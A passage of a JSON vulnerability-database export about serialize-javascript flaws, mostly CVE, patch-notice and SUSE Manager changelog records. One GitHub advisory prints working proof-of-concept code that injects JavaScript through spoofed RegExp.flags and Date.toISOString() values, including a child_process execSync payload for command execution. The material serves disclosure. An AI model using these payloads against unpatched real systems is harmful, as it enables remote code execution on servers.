later.","status":"published","published":"2019-12-05T18:44:37Z","modified":"2023-01-09T05:03:08Z","cvss":[{"version":"3.1","score":4.2,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:36:04.396827Z"}],"nvd":[{"id":"CVE-2019-16769","description":"The serialize-javascript npm package before version 2.1.1 is vulnerable to Cross-site Scripting (XSS). It does not properly mitigate against unsafe characters in serialized regular expressions. This vulnerability is not affected on Node.js environment since Node.js's implementation of RegExp.prototype.toString() backslash-escapes all forward slashes in regular expressions. If serialized data of regular expression objects are used in an environment other than Node.js, it is affected by this vulnerability.","status":"published","published":"2019-12-05T19:15:15.18Z","modified":"2026-06-17T02:22:45.87Z","cvss":[{"version":"3.1","score":4.2,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L","level":"medium","assessor":"secondary"},{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"primary"},{"version":"2.0","score":3.5,"vector":"AV:N/AC:M/Au:S/C:N/I:P/A:N","level":"low","assessor":"primary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:05:38.993437Z"}],"osv":[{"id":"CVE-2019-16769","description":"The serialize-javascript npm package before version 2.1.1 is vulnerable to Cross-site Scripting (XSS). It does not properly mitigate against unsafe characters in serialized regular expressions. This vulnerability is not affected on Node.js environment since Node.js's implementation of RegExp.prototype.toString() backslash-escapes all forward slashes in regular expressions. If serialized data of regular expression objects are used in an environment other than Node.js, it is affected by this vulnerability.","status":"published","published":"2019-12-05T19:15:15.18Z","modified":"2026-10-20T10:47:34.618973931Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:44:11.673963Z"},{"id":"GHSA-5c6j-r48x-rmvq","title":"Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString()","description":"### Impact\n\nThe serialize-javascript npm package (versions \u003c= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.\n\nWhile `RegExp.source` is sanitized, `RegExp.flags` is interpolated directly into the generated output without escaping. A similar issue exists in `Date.prototype.toISOString()`.\n\nIf an attacker can control the input object passed to `serialize()`, they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via `eval`, `new Function`, or `\u003cscript\u003e` tags), the injected code executes.\n\n```javascript\nconst serialize = require('serialize-javascript');\n// Create an object that passes instanceof RegExp with a spoofed .flags\nconst fakeRegex = Object.create(RegExp.prototype);\nObject.defineProperty(fakeRegex, 'source', { get: () =\u003e 'x' });\nObject.defineProperty(fakeRegex, 'flags', {\n  get: () =\u003e '\"+(global.PWNED=\"CODE_INJECTION_VIA_FLAGS\")+\"'\n});\nfakeRegex.toJSON = function() { return '@placeholder'; };\nconst output = serialize({ re: fakeRegex });\n// Output: {\"re\":new RegExp(\"x\", \"\"+(global.PWNED=\"CODE_INJECTION_VIA_FLAGS\")+\"\")}\nlet obj;\neval('obj = ' + output);\nconsole.log(global.PWNED); // \"CODE_INJECTION_VIA_FLAGS\" — injected code executed!\n#h2. PoC 2: Code Injection via Date.toISOString()\n```\n\n```javascript\nconst serialize = require('serialize-javascript');\nconst fakeDate = Object.create(Date.prototype);\nfakeDate.toISOString = function() { return '\"+(global.DATE_PWNED=\"DATE_INJECTION\")+\"'; };\nfakeDate.toJSON = function() { return '2024-01-01'; };\nconst output = serialize({ d: fakeDate });\n// Output: {\"d\":new Date(\"\"+(global.DATE_PWNED=\"DATE_INJECTION\")+\"\")}\neval('obj = ' + output);\nconsole.log(global.DATE_PWNED); // \"DATE_INJECTION\" — injected code executed!\n#h2. PoC 3: Remote Code Execution\n```\n\n```javascript\nconst serialize = require('serialize-javascript');\nconst rceRegex = Object.create(RegExp.prototype);\nObject.defineProperty(rceRegex, 'source', { get: () =\u003e 'x' });\nObject.defineProperty(rceRegex, 'flags', {\n  get: () =\u003e '\"+require(\"child_process\").execSync(\"id\").toString()+\"'\n});\nrceRegex.toJSON = function() { return '@rce'; };\nconst output = serialize({ re: rceRegex });\n// Output: {\"re\":new RegExp(\"x\", \"\"+require(\"child_process\").execSync(\"id\").toString()+\"\")}\n// When eval'd on a Node.js server, executes the \"id\" system command\n```\n\n### Patches\n\nThe fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3","status":"published","published":"2026-02-28T02:50:45Z","modified":"2026-09-10T03:50:34.15457425Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-96"],"updated_at":"2026-11-02T15:46:38.213481Z"},{"id":"GHSA-h9rv-jmmf-4pgx","title":"Cross-Site Scripting in serialize-javascript","description":"Versions of `serialize-javascript` prior to 2.1.1 are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize serialized regular expressions. This vulnerability does not affect Node.js applications.\n\n\n## Recommendation\n\nUpgrade to version 2.1.1 or later.","status":"published","published":"2019-12-05T18:44:37Z","modified":"2026-09-10T03:49:24.747348522Z","cvss":[{"version":"3.1","score":4.2,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:48.920784Z"},{"id":"RHSA-2020:2796","title":"Red Hat Security Advisory: Red Hat OpenShift Service Mesh servicemesh-grafana security update","status":"published","published":"2024-09-18T04:13:25Z","modified":"2026-10-13T10:01:44Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:07.072948Z"},{"id":"CLSA-2026-1773447385","title":"TuxCare security update for serialize-javascript (1 CVE)","description":"TuxCare rebuilt serialize-javascript to address 1 CVE. Fixed in 6.0.2-tuxcare.1.","status":"published","published":"2026-08-04T14:52:12Z","modified":"2026-10-15T09:47:28.73586704Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1774311647","title":"TuxCare security update for formidable (4 CVEs)","description":"TuxCare rebuilt formidable to address 4 CVEs. Fixed in 2.1.2-tuxcare.1.","status":"withdrawn","published":"2026-08-04T14:52:14Z","modified":"2026-10-26T13:21:31Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1774398069","title":"TuxCare security update for serialize-javascript (2 CVEs)","description":"TuxCare rebuilt serialize-javascript to address 2 CVEs. Fixed in 1.9.1-tuxcare.1.","status":"published","published":"2026-08-04T14:52:14Z","modified":"2026-10-22T14:30:58.799305755Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1774916711","title":"TuxCare security update for serialize-javascript (1 CVE)","description":"TuxCare rebuilt serialize-javascript to address 1 CVE. Fixed in 5.0.1-tuxcare.1.","status":"published","published":"2026-08-04T14:52:17Z","modified":"2026-10-15T09:47:35.760194756Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1774916712","title":"TuxCare security update for serialize-javascript (1 CVE)","description":"TuxCare rebuilt serialize-javascript to address 1 CVE. Fixed in 4.0.0-tuxcare.1.","status":"published","published":"2026-08-04T14:52:17Z","modified":"2026-10-15T09:47:34.833571816Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1774916713","title":"TuxCare security update for serialize-javascript (1 CVE)","description":"TuxCare rebuilt serialize-javascript to address 1 CVE. Fixed in 3.1.0-tuxcare.1.","status":"published","published":"2026-08-04T14:52:17Z","modified":"2026-10-15T09:47:48.762195406Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1776213251","title":"TuxCare security update for serialize-javascript (3 CVEs)","description":"TuxCare rebuilt serialize-javascript to address 3 CVEs. Fixed in 2.1.2-tuxcare.1.","status":"published","published":"2026-08-04T14:52:25Z","modified":"2026-10-15T09:47:49.782620833Z","updated_at":"2026-11-02T15:43:44.009773Z"},{"id":"CLSA-2026-1787823934","title":"TuxCare security update for tar (4 CVEs)","description":"TuxCare rebuilt tar to address 4 CVEs. Fixed in 6.0.2-tuxcare.1.","status":"withdrawn","published":"2026-08-27T09:45:34Z","modified":"2026-10-26T13:21:31Z","updated_at":"2026-11-02T15:43:47.591214Z"},{"id":"CLSA-2026-1793789998","title":"TuxCare security update for serialize-javascript (3 CVEs)","description":"TuxCare rebuilt serialize-javascript to address 3 CVEs. Fixed in 3.0.0-tuxcare.1.","status":"published","published":"2026-11-04T11:59:59Z","modified":"2026-11-04T14:45:06.68236267Z","updated_at":"2026-11-04T15:03:54.132276Z"},{"id":"CLSA-2026-1793790397","title":"TuxCare security update for serialize-javascript (1 CVE)","description":"TuxCare rebuilt serialize-javascript to address 1 CVE. Fixed in 7.0.2-tuxcare.1.","status":"published","published":"2026-11-04T12:06:38Z","modified":"2026-11-04T14:45:04.948823518Z","updated_at":"2026-11-04T15:03:54.132276Z"},{"id":"ROOT-APP-NPM-CVE-2019-16769","title":"CVE-2019-16769 in @rootio/serialize-javascript - Patched by Root","description":"Root has patched CVE-2019-16769 in the @rootio/serialize-javascript package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-07-22T08:52:11Z","modified":"2026-07-22T14:00:31.771478156Z","updated_at":"2026-11-02T15:53:27.362922Z"},{"id":"ROOT-APP-NPM-GHSA-5c6j-r48x-rmvq","title":"GHSA-5c6j-r48x-rmvq in serialize-javascript - Patched by Root","description":"Root has patched GHSA-5c6j-r48x-rmvq in the serialize-javascript package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-09-11T08:47:20Z","modified":"2026-09-11T09:15:03.998487418Z","updated_at":"2026-11-02T15:53:27.940619Z"},{"id":"SUSE-RU-2020:0671-1","title":"Recommended update for SUSE Manager Proxy 4.0","description":"\nThis update fixes the following issues:\n\nmgr-osad:\n\n- Take care that osad is not disabled nor deactivated during update\n  (bsc#1157700, bsc#1158697)\n\npatterns-suse-manager:\n\n- Add recommends for virtualization-host-formula to suma_server pattern\n- Add recommends for virtualization-host-formula to retail\n\nspacecmd:\n\n- Bugfix: attempt to purge SSM when it is empty (bsc#1155372)\n\nspacewalk-backend:\n\n- Fix mgrcfg-client python3 breakage (bsc#1164309)\n- Update doc link to point to new documentation server\n- Prevent timestamp format exception on mgr-inter-sync while processing comps (bsc#1157346)\n- When downloading repo metadata, don't add '/' to the repo url if it already ends with one (bsc#1158899)\n- Use HTTP proxy settings when fetching the mirrorlist on spacewalk-repo-sync (bsc#1159076)\n- Enhance suseProducts via ISS to fix SP migration on slave server (bsc#1159184)\n- Prevent a traceback when reposyncing openSUSE 15.1 (bsc#1158672)\n- Close config files after reading them (bsc#1158283)\n- Associate VMs and systems with the same machine ID at bootstrap (bsc#1144176)\n\nspacewalk-certs-tools:\n\n- Add 'start_event_grains' minion option to configfile when generated by bootstrap script\n- Forbid multiple activation keys for salt minions during bootstrap (bsc#1164452)\n- Add additional minion options to configfile when generated by\n  bootstrap script (bsc#1159492)\n- Change the order to check the version correctly for RES (bsc#1152795)\n\nspacewalk-client-tools:\n\n- Spell correctly 'successful' and 'successfully'\n\nspacewalk-web:\n\n- Don't validate mandatory fields that are not visible (bsc#1158943)\n- Fix count of changes to build (bsc#1160940)\n- Report merge_subscriptions message in a readable way (bsc#1140332)\n- Fix ordering by date (bsc#1158818)\n\nsupportutils-plugin-susemanager-client:\n\n- Rename rhncfg-actions to mgr-cfg-actions\n\nsupportutils-plugin-susemanager-proxy:\n\n- Rename rhncfg-actions to mgr-cfg-actions\n\nHow to apply this update:\n1. Log in as root user to the SUSE Manager proxy.\n2. Stop the proxy service:\nspacewalk-proxy stop\n3. Apply the patch using either zypper patch or YaST Online Update.\n4. Start the Spacewalk service:\nspacewalk-proxy start\n","status":"published","published":"2020-03-13T12:32:42Z","modified":"2026-02-04T03:46:42.929436Z","updated_at":"2026-11-02T15:53:41.276824Z"},{"id":"SUSE-SU-2020:0671-1","title":"Security update for SUSE Manager Server 4.0","description":"\nThis update fixes the following issues:\n\nbranch-network-formula:\n\n- Update formula to include terminal naming and identification\n\nimage-sync-formula:\n\n- Prevent installing xdelta3 package and disable delta functionality\n  on SLE12 branch servers (bsc#1159553)\n\nmgr-osad:\n\n- Take care that osad is not disabled nor deactivated during update\n  (bsc#1157700, bsc#1158697)\n\npatterns-suse-manager:\n\n- Add recommends for virtualization-host-formula to suma_server pattern\n- Add recommends for virtualization-host-formula to retail\n\nprometheus-formula:\n\n- Bugfix: disabled fields not enabled when checkbox is checked\n\npxe-default-image-sle15:\n\n- Adapt to new kiwi version to fix pre registration in\n  the bare-metal image (bsc#1153269)\n\npxe-formula:\n\n- Add support for new features in terminal naming\n- Remove branch_id from pxe form, moved to branch-network form\n\npy26-compat-salt:\n\n- Replace pycrypto with M2Crypto as dependency for SLE15+\n\npython-susemanager-retail:\n\n- Add support for terminal naming block\n- Add delta support for SLE15 tar.xz bundles\n\nredstone-xmlrpc:\n\n- Disable external entity parsing (1790381, bsc#1164120, CVE-2020-1693)\n- Do not download external entities (1555429, bsc#1085414, CVE-2018-1077)\n\nsalt-netapi-client:\n\n- Version 0.17.0\n  See: https://github.com/SUSE/salt-netapi-client/releases/tag/v0.17.0\n\nspacecmd:\n\n- Bugfix: attempt to purge SSM when it is empty (bsc#1155372)\n\nspacewalk-admin:\n\n- Spell correctly 'successful' and 'successfully'\n\nspacewalk-backend:\n\n- Fix mgrcfg-client python3 breakage (bsc#1164309)\n- Update doc link to point to new documentation server\n- Prevent timestamp format exception on mgr-inter-sync while processing comps (bsc#1157346)\n- When downloading repo metadata, don't add '/' to the repo url if it already ends with one (bsc#1158899)\n- Use HTTP proxy settings when fetching the mirrorlist on spacewalk-repo-sync (bsc#1159076)\n- Enhance suseProducts via ISS to fix SP migration on slave server (bsc#1159184)\n- Prevent a traceback when reposyncing openSUSE 15.1 (bsc#1158672)\n- Close config files after reading them (bsc#1158283)\n- Associate VMs and systems with the same machine ID at bootstrap (bsc#1144176)\n\nspacewalk-certs-tools:\n\n- Add 'start_event_grains' minion option to configfile when generated by bootstrap script\n- Forbid multiple activation keys for salt minions during bootstrap (bsc#1164452)\n- Add additional minion options to configfile when generated by\n  bootstrap script (bsc#1159492)\n- Change the order to check the version correctly for RES (bsc#1152795)\n\nspacewalk-client-tools:\n\n- Spell correctly 'successful' and 'successfully'\n\nsystem-lock-formula:\n    \n- Clarified terms along documentation and product (bsc#1166061)\n    \nspacewalk-java:\n\n- Feat: enable Salt system lock when CaaSP node is onboarded and add\n  depedency to 'system-lock-formula' (bsc#1165541)\n- Support non discoverable fqdns via custom grain (bsc#1155281)\n- Handle the non-existent requested grains gracefully\n- Get the machineid grain from the minion startup event\n- Use term 'patch' instead of 'errata' (bsc#1164649)\n- Enable provisioning API with salt and bootstrap entitled systems\n- Fix a problem with removing the monitoring entitlement from a system\n- Improve performance when adding systems to system groups (bsc#1158754)\n- Migrate pillar and formula data on minion id change (bsc#1161755)\n- Change doc links pointing to new documentation server\n- Call saltutil.sync_all before calling highstate (bsc#1152673)\n- Exclude base products from PAYG (Pay-As-You-Go) instances when doing subscription matching\n- Show additional headers and dependencies for deb packages\n- Show adequate message on saving formulas that change only pillar data\n- Fix mgr-sync add channel when fromdir is configured (bsc#1160184)\n- Handle not found re-activation key (bsc#1159012)\n- Write a list of formulas sorted by execution order (bsc#1083326)\n- Use channel name from product tree instead of constructing it (bsc#1157317)\n- Read the subscriptions from the output instead of input (bsc#1140332)\n- Rename rhncfg-actions to mgr-cfg-actions in UI advice (bsc#1137248)\n- Fix container image import (bsc#1154246)\n- Add missing permission checks on formula api (bsc#1123274)\n- Generate metadata with empty vendor (bsc#1158480)\n- Remove undefined variable from redhat_register snippet\n- Add a method in API to check if the provided session key is a valid one.\n- Associate VMs and systems with the same machine ID at bootstrap (bsc#1144176)\n- Fix minion id when applying engine-events state (bsc#1158181)\n- Remove unnecessary WARN log entries from Kubernetes integration\n- Fix for pillar not being refreshed when CaaSP pattern is detected\n  upon software profile update (bsc#1166061)\n\nspacewalk-search:\n\n- Make rhn-search log to correct file (bsc#1156751)\n\nspacewalk-setup:\n\n- Spell correctly 'successful' and 'successfully'\n- create AJP connector for tomcat if it does not exist\n  (bsc#1165927, bsc#1166388)\n\nspacewalk-utils:\n\n- Spell 'successfully' correctly\n\nspacewalk-web:\n\n- Don't validate mandatory fields that are not visible (bsc#1158943)\n- Fix count of changes to build (bsc#1160940)\n- Report merge_subscriptions message in a readable way (bsc#1140332)\n- Fix ordering by date (bsc#1158818)\n\nsubscription-matcher:\n\n- Add missing library for SLE15 SP2 (slf4j-log4j12)\n- Make the code usable with Math3 on SLES\n- Use log4j12 package on newer SLE versions\n- Aggregate stackable subscriptions with same parameters\n- Implement new 'swap move' used in optaplanner (bsc#1140332)\n- Enable aarch64 builds, except for SLE \u003c 15 \n\nsusemanager:\n\n- Add missing python libraries to RES8/RHEL8/CentOS 8 boostrap repos (bsc#1164875)\n- Add bootstrap-repo data for OES 2018 SP2 (bsc#1161862)\n- Add bootstrap-repo data for SLE15 SP2 Family\n- Fix documentation URL in installer (bsc#1154590)\n- Update requirements to match documented values (bsc#1154599)\n\nsusemanager-doc-indexes:\n\n- Adding Additional FQDNS for Proxies with Salt\n- Reference guide review and update moving content into tabular format\n- Autogenerate pdf index from antora html nav lists\n- Documentation needs to address using RHEL8 in the correct way (bsc#1159023)\n- Traditional clients bootstrap, the example applies to SLES ES 7 only (bsc#1158564)\n- Remove auditlog-keeper from list\n- Removed duplicate client requirements entries\n- Fix missing spaces throughout docs\n- Added the complete path for using manager-setup\n- Fix typo in vhm-kubernetes\n- Cleaned up client registration documents\n- Improved ubuntu instructions\n- Explain how to compose a DSN string for monitoring\n- Added publishing dates to individual book intros\n- Updated common spacewalk-common-channels usage\n- Adding Additional FQDNS for Proxies with Salt\n- Reference guide review and update moving content into tabular format\n- Autogenerate pdf index from antora html nav lists\n- Documentation needs to address using RHEL8 in the correct way (bsc#1159023)\n- Traditional clients bootstrap, the example applies to SLES ES 7 only (bsc#1158564)\n- Remove auditlog-keeper from list\n- Removed duplicate client requirements entries\n- Fix missing spaces throughout docs\n- Added the complete path for using manager-setup\n- Fix typo in vhm-kubernetes\n- Cleaned up client registration documents\n- Improved ubuntu instructions\n- Explain how to compose a DSN string for monitoring\n- Added publishing dates to individual book intros\n- Updated common spacewalk-common-channels usage\n\nsusemanager-docs_en:\n\n- Adding Additional FQDNS for Proxies with Salt\n- Reference guide review and update moving content into tabular format\n- Autogenerate pdf index from antora html nav lists\n- Documentation needs to address using RHEL8 in the correct way (bsc#1159023)\n- Traditional clients bootstrap, the example applies to SLES ES 7 only (bsc#1158564)\n- Remove auditlog-keeper from list\n- Removed duplicate client requirements entries\n- Fix missing spaces throughout docs\n- Added the complete path for using manager-setup\n- Fix typo in vhm-kubernetes\n- Cleaned up client registration documents\n- Improved ubuntu instructions\n- Explain how to compose a DSN string for monitoring\n- Added publishing dates to individual book intros\n- Updated common spacewalk-common-channels usage\n- Adding Additional FQDNS for Proxies with Salt\n- Reference guide review and update moving content into tabular format\n- Autogenerate pdf index from antora html nav lists\n- Documentation needs to address using RHEL8 in the correct way (bsc#1159023)\n- Traditional clients bootstrap, the example applies to SLES ES 7 only (bsc#1158564)\n- Remove auditlog-keeper from list\n- Removed duplicate client requirements entries\n- Fix missing spaces throughout docs\n- Added the complete path for using manager-setup\n- Fix typo in vhm-kubernetes\n- Cleaned up client registration documents\n- Improved ubuntu instructions\n- Explain how to compose a DSN string for monitoring\n- Added publishing dates to individual book intros\n- Updated common spacewalk-common-channels usage\n\nsusemanager-schema:\n\n- Add new 'payg' attribute to rhnServer table\n- Enable re-activation keys for salt managed systems (bsc#1159012)\n- Generate metadata with empty vendor (bsc#1158480)\n- Fix rhnActionVirtDelete when migrating from 3.2 to 4.0 (bsc#1158178)\n\nsusemanager-sls:\n\n- Install dmidecode before HW profile update when missing\n- Add mgr_start_event_grains.sls to update minion config\n- Add 'product' custom state module to handle installation of\n  SUSE products at client side (bsc#1157447)\n- Support reading of pillar data for minions from multiple files (bsc#1158754)\n- Do not workaround util.syncmodules for SSH minions (bsc#1162609)\n- Force to run util.synccustomall when triggering action chains on SSH minions (bsc#1162683).\n- Add custom 'is_payg_instance' grain when instance is PAYG and not BYOS.\n- Adapt sls file for pre-downloading in Ubuntu minions\n- Sort formulas by execution order (bsc#1083326)\n- Split remove_traditional_stack into two parts. One for all systems and\n  another for clients not being a Uyuni Server or Proxy (bsc#1121640)\n- Change the order to check the version correctly for RES (bsc#1152795)\n- Do not break Servers registering to a Server\n- Remove the virt-poller cache when applying Virtualization entitlement\n- Force HTTP request timeout on public cloud grain (bsc#1157975)\n\nsusemanager-sync-data:\n\n- Add OES 2018 SP2 (bsc#1161862)\n- Rename RHEL 8 Base product\n- Change channel family name according to SCC data\n\nHow to apply this update:\n1. Log in as root user to the SUSE Manager server.\n2. Stop the Spacewalk service:\nspacewalk-service stop\n3. Apply the patch using either zypper patch or YaST Online Update.\n4. Upgrade the database schema:\nspacewalk-schema-upgrade\n5. Start the Spacewalk service:\nspacewalk-service start\n","status":"published","published":"2020-03-13T12:32:44Z","modified":"2026-02-04T02:41:08.685397Z","updated_at":"2026-11-02T15:53:47.06185Z"}]}}